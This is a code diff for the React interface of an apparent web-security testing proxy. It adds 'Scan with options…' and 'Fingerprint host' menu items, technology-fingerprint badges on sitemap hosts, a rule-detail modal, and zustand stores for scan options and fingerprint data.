onClick={(e) => e.stopPropagation()}
onChange={(e) => setRuleEnabled(r.id, e.target.checked)}
/>
</td>
<td className="px-2 py-1">
<div className="text-content-secondary truncate max-w-md">{r.name}</div>
{r.description && (
<div className="text-[10px] text-content-muted truncate max-w-md">
{r.description}
</div>
)}
</td>
<td className="px-2 py-1">{severityBadge(r.severity)}</td>
<td className="px-2 py-1 text-content-muted">{r.confidence}</td>
<td className="px-2 py-1 text-content-muted truncate">{r.target}</td>
<td className="px-2 py-1">{originPill(r.builtin)}</td>
<td className="px-2 py-1 text-right">
{r.findingCount ? (
<button
onClick={(e) => {
e.stopPropagation()
// Clear the severity filter too; an Info rule's count
// would otherwise open an empty table.
setFilter({ rule: r.id, severities: [] })
}}
className="text-accent-secondary hover:underline"
>
{r.findingCount}
</button>
) : (
<span className="text-content-muted">0</span>
)}
</td>
</tr>
))}
</Fragment>
)
})}
</tbody>
</table>
</div>
{(modalRule || creating) && (
@@ -1667,6 +1741,28 @@ function RulesView() {
onChanged={loadRules}
/>
)}
{activeDetail && (
<div
className="fixed inset-0 z-[60] flex items-center justify-center bg-black/50"
onClick={() => setActiveDetail(null)}
>
<div
className="bg-surface-card border border-border rounded w-[40rem] max-w-[95vw] max-h-[80vh] overflow-y-auto p-4"
onClick={(e) => e.stopPropagation()}
>
<div className="flex items-center mb-2">
<h3 className="text-sm font-semibold text-content-primary">Rule detail</h3>
<button
onClick={() => setActiveDetail(null)}
className="ml-auto px-2 py-1 rounded-sm text-xs text-content-secondary hover:text-content-primary hover:bg-surface-input"
>
Close
</button>
</div>
<SignatureDetail sig={activeDetail} />
</div>
</div>
)}
</div>
)
}
+19
View File
@@ -24,6 +24,7 @@ import ConfirmModal from '../components/ConfirmModal'
import { Tooltip } from '../components/Tooltip'
import { getSelectionMenuItems } from '../lib/selectionMenu'
import { initiateScan } from '../lib/scanMenu'
import { useScanOptionsStore } from '../stores/scanOptionsStore'
import { copyText } from '../lib/clipboard'
import { useSettingsStore } from '../stores/settingsStore'
import { useToastStore } from '../stores/toastStore'
@@ -1151,6 +1152,15 @@ function HTTPHistory() {
? [{ label: 'Add to Chain', onClick: () => sendToChain(rowSeq) }]
: []),
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', requestId: rowMenu.itemId }) },
{
label: 'Scan with options…',
onClick: () =>
useScanOptionsStore.getState().openScan({
scope: 'request',
requestId: rowMenu.itemId,
label: 'Selected request',
}),
},
{ label: 'Stage for Dead Drop', onClick: () => stageForDeadDrop(rowMenu.itemId) },
]}
/>
@@ -1170,6 +1180,15 @@ function HTTPHistory() {
{ label: 'SJ', onClick: sendToSJ },
{ label: 'Add to Chain', onClick: () => sendToChain(selectedDetail.seq) },
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', requestId: selectedDetail.id }) },
{
label: 'Scan with options…',
onClick: () =>
useScanOptionsStore.getState().openScan({
scope: 'request',
requestId: selectedDetail.id,
label: `${selectedDetail.method} ${selectedDetail.url}`,
}),
},
{ label: 'Stage for Dead Drop', onClick: () => stageDetailForDeadDrop(selectedDetail) },
...(teamMode ? [{ label: 'Flag to team', icon: <Flag size={13} />, onClick: flagToTeam }] : []),
{ label: 'Copy URL', onClick: copyUrl },
+10
View File
@@ -17,6 +17,7 @@ import ContextMenu from '../components/ContextMenu'
import { Tooltip } from '../components/Tooltip'
import { getSelectionMenuItems } from '../lib/selectionMenu'
import { initiateScan } from '../lib/scanMenu'
import { useScanOptionsStore } from '../stores/scanOptionsStore'
import { copyText } from '../lib/clipboard'
import { useSettingsStore } from '../stores/settingsStore'
import { useToastStore } from '../stores/toastStore'
@@ -475,6 +476,15 @@ export default function ManipulateHTTP() {
...getSelectionMenuItems(navigate),
{ label: 'Fuzz', onClick: sendToFuzz },
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', url: getRequestUrl() }) },
{
label: 'Scan with options…',
onClick: () =>
useScanOptionsStore.getState().openScan({
scope: 'request',
url: getRequestUrl(),
label: getRequestUrl() || 'Request',
}),
},
{
label: method === 'GET' ? 'Change to POST' : 'Change to GET',
onClick: () => updateTab(tab.id, { rawReq: changeRequestType(tab.rawReq) }),
+66 -2
View File
@@ -4,7 +4,8 @@ import CodeMirror from '@uiw/react-codemirror'
import { EditorView } from '@codemirror/view'
import { oneDark } from '@codemirror/theme-one-dark'
import { api } from '../lib/api'
import type { SitemapHost, SitemapEndpoint, SitemapVariant } from '../lib/api'
import type { SitemapHost, SitemapEndpoint, SitemapVariant, Tech } from '../lib/api'
import { useTechStore } from '../stores/techStore'
import { rawToCurl } from '../lib/httpTransform'
import { RequestDetail } from '../stores/requestStore'
import { useRequestStore } from '../stores/requestStore'
@@ -14,7 +15,8 @@ import TabButton from '../components/TabButton'
import { useLenses } from '../lib/lenses'
import { useResizable } from '../lib/useResizable'
import ContextMenu from '../components/ContextMenu'
import { initiateScan } from '../lib/scanMenu'
import { initiateScan, fingerprintHosts } from '../lib/scanMenu'
import { useScanOptionsStore } from '../stores/scanOptionsStore'
import ConfirmModal from '../components/ConfirmModal'
import { Tooltip } from '../components/Tooltip'
import { Filter, ChevronRight, X, WrapText, SlidersHorizontal } from 'lucide-react'
@@ -42,6 +44,31 @@ function b64Decode(s: string) {
export default function Map() {
const navigate = useNavigate()
const [hosts, setHosts] = useState<SitemapHost[]>([])
// Technology fingerprints, for the per-host badges. Push-driven via ws; load
// once on mount (the store guards against re-fetching).
const techHosts = useTechStore((s) => s.hosts)
useEffect(() => {
void useTechStore.getState().load()
}, [])
// A plain record, not a Map — the page component is itself named Map and
// shadows the global constructor.
const techByHost = useMemo(() => {
const m: Record<string, Tech[]> = {}
for (const h of techHosts) m[h.host.toLowerCase()] = h.technologies
return m
}, [techHosts])
const techFor = useCallback(
(origin: string): Tech[] => {
try {
return techByHost[new URL(origin).host.toLowerCase()] ?? []
} catch {
return []
}
},
[techByHost],
)
const [expandedHosts, setExpandedHosts] = useState<Set<string>>(new Set())
const [expandedEndpoints, setExpandedEndpoints] = useState<Set<string>>(new Set())
const [loading, setLoading] = useState(true)
@@ -350,6 +377,15 @@ export default function Map() {
<span className={`inline-flex items-center text-content-muted transition-transform ${hostExpanded ? 'rotate-90' : ''}`}><ChevronRight size={12} /></span>
<span className="text-xs font-semibold text-content-primary">{host.origin}</span>
<span className="text-[10px] text-content-muted ml-1">({host.count})</span>
{techFor(host.origin).slice(0, 5).map((t) => (
<span
key={t.name}
title={[t.name + (t.version ? ` ${t.version}` : ''), ...(t.categories ?? [])].join(' · ')}
className="px-1 py-0.5 rounded text-[9px] font-medium bg-accent-secondary/15 text-accent-secondary shrink-0"
>
{t.name}
</span>
))}
<span className="text-[10px] text-content-muted ml-auto">{host.endpoints.length} {host.endpoints.length === 1 ? 'endpoint' : 'endpoints'}</span>
</button>
<Tooltip content="Parameters">
@@ -654,6 +690,25 @@ export default function Map() {
label: 'Initiate scan',
onClick: () => initiateScan({ scope: 'host', origin: hostMenu.origin }),
},
{
label: 'Scan with options…',
onClick: () =>
useScanOptionsStore.getState().openScan({
scope: 'host',
origin: hostMenu.origin,
label: hostMenu.origin,
}),
},
{
label: 'Fingerprint host',
onClick: () => {
try {
void fingerprintHosts(new URL(hostMenu.origin).host)
} catch {
void fingerprintHosts()
}
},
},
]}
/>
)}
@@ -668,6 +723,15 @@ export default function Map() {
{ label: 'Manipulate', onClick: sendToManipulate },
{ label: 'Fuzz', onClick: sendToFuzz },
{ label: 'Initiate scan', onClick: () => initiateScan({ scope: 'request', requestId: selectedDetail.id }) },
{
label: 'Scan with options…',
onClick: () =>
useScanOptionsStore.getState().openScan({
scope: 'request',
requestId: selectedDetail.id,
label: `${selectedDetail.method} ${selectedDetail.url}`,
}),
},
{ label: 'Copy URL', onClick: copyUrl },
{ label: 'Copy as curl', onClick: copyCurl },
{ label: 'Copy Raw Request', onClick: () => copyRaw('request') },
+28
View File
@@ -0,0 +1,28 @@
import { create } from 'zustand'
// The target a scan-options dialog was opened for. Mirrors the fields
// initiateScan takes, minus the options the dialog itself collects.
export interface ScanTarget {
scope: 'host' | 'request'
origin?: string
url?: string
requestId?: string
// label is a human description of the target for the dialog header.
label: string
}
interface ScanOptionsState {
open: boolean
target: ScanTarget | null
openScan: (target: ScanTarget) => void
close: () => void
}
// A global modal, mounted once in App, so the "Scan with options…" context-menu
// item on any page can open it without each page hosting the dialog.
export const useScanOptionsStore = create<ScanOptionsState>((set) => ({
open: false,
target: null,
openScan: (target) => set({ open: true, target }),
close: () => set({ open: false, target: null }),
}))
+60
View File
@@ -0,0 +1,60 @@
import { create } from 'zustand'
import { api, type HostTech } from '../lib/api'
// Passive technology fingerprints, keyed by host. The store is push-driven: it
// loads once and ws.ts folds in tech.detected / tech.summary as traffic flows,
// so it never joins the dashboard poll loop.
interface TechState {
enabled: boolean
hosts: HostTech[]
summary: { hosts: number; techs: number }
loaded: boolean
loading: boolean
load: () => Promise<void>
applyDetected: (ht: HostTech) => void
setSummary: (s: { hosts: number; techs: number }) => void
setEnabled: (enabled: boolean) => Promise<void>
}
export const useTechStore = create<TechState>((set, get) => ({
enabled: true,
hosts: [],
summary: { hosts: 0, techs: 0 },
loaded: false,
loading: false,
load: async () => {
if (get().loading) return
set({ loading: true })
try {
const res = await api.techHosts()
set({ enabled: res.enabled, hosts: res.hosts ?? [], summary: res.summary, loaded: true })
} catch {
// Unavailable outside proxy mode; leave the store empty.
set({ loaded: true })
} finally {
set({ loading: false })
}
},
// A tech.detected payload carries a host's full, current set, so it replaces
// that host's row rather than merging — the server already folded it.
applyDetected: (ht) => {
const hosts = get().hosts.filter((h) => h.host !== ht.host)
hosts.unshift(ht)
set({ hosts })
},
setSummary: (s) => set({ summary: s }),
setEnabled: async (enabled) => {
set({ enabled })
try {
await api.techSetEnabled(enabled)
} catch {
set({ enabled: !enabled })
}
},
}))